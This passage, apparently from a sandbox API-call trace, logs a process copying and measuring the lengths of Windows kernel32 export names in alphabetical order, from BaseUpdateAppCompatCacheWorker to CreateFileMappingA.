(lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0114.596] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0114.596] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0114.596] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0114.596] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0114.596] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0114.596] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0114.597] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0114.597] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0114.597] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0114.597] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0114.597] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0114.597] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0114.597] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0114.597] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0114.597] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0114.597] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0114.597] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0114.597] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0114.597] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0114.597] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0114.597] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0114.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0114.598] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0114.598] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0114.598] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0114.598] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0114.598] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0114.598] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0114.598] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0114.598] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0114.598] lstrlenA (lpString="BEEP") returned 4 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0114.598] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0114.598] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0114.598] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0114.598] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0114.598] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0114.598] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0114.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0114.599] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0114.599] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0114.599] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0114.599] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0114.599] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0114.599] lstrlenA (lpString="CANCELIO") returned 8 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0114.599] lstrlenA (lpString="CANCELIOEX") returned 10 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0114.599] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0114.599] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0114.599] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0114.599] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0114.599] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0114.599] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0114.599] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0114.599] lstrlenA (lpString="CHECKELEVATION") returned 14 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0114.599] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0114.599] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0114.599] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0114.599] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0114.599] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0114.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0114.599] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0114.600] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0114.600] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0114.600] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0114.600] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0114.600] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0114.600] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0114.600] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0114.600] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0114.600] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0114.600] lstrlenA (lpString="CLOSESTATE") returned 10 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0114.600] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0114.600] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0114.600] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0114.600] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0114.600] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0114.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0114.600] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0114.601] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0114.601] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0114.601] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0114.601] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0114.601] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0114.601] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0114.601] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0114.601] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0114.601] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0114.601] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0114.601] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0114.601] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0114.601] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0114.601] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0114.601] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0114.601] lstrlenA (lpString="COPYCONTEXT") returned 11 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0114.601] lstrlenA (lpString="COPYFILE2") returned 9 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0114.601] lstrlenA (lpString="COPYFILEA") returned 9 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0114.601] lstrlenA (lpString="COPYFILEEXA") returned 11 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0114.601] lstrlenA (lpString="COPYFILEEXW") returned 11 [0114.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0114.602] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0114.602] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0114.602] lstrlenA (lpString="COPYFILEW") returned 9 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0114.602] lstrlenA (lpString="COPYLZFILE") returned 10 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0114.602] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0114.602] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0114.602] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0114.602] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0114.602] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0114.602] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0114.602] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0114.602] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0114.602] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0114.602] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0114.602] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0114.602] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0114.602] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0114.602] lstrlenA (lpString="CREATEEVENTA") returned 12 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0114.602] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0114.602] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0114.602] lstrlenA (lpString="CREATEEVENTW") returned 12 [0114.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0114.603] lstrlenA (lpString="CREATEFIBER") returned 11 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0114.603] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0114.603] lstrlenA (lpString="CREATEFILE2") returned 11 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0114.603] lstrlenA (lpString="CREATEFILEA") returned 11 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: 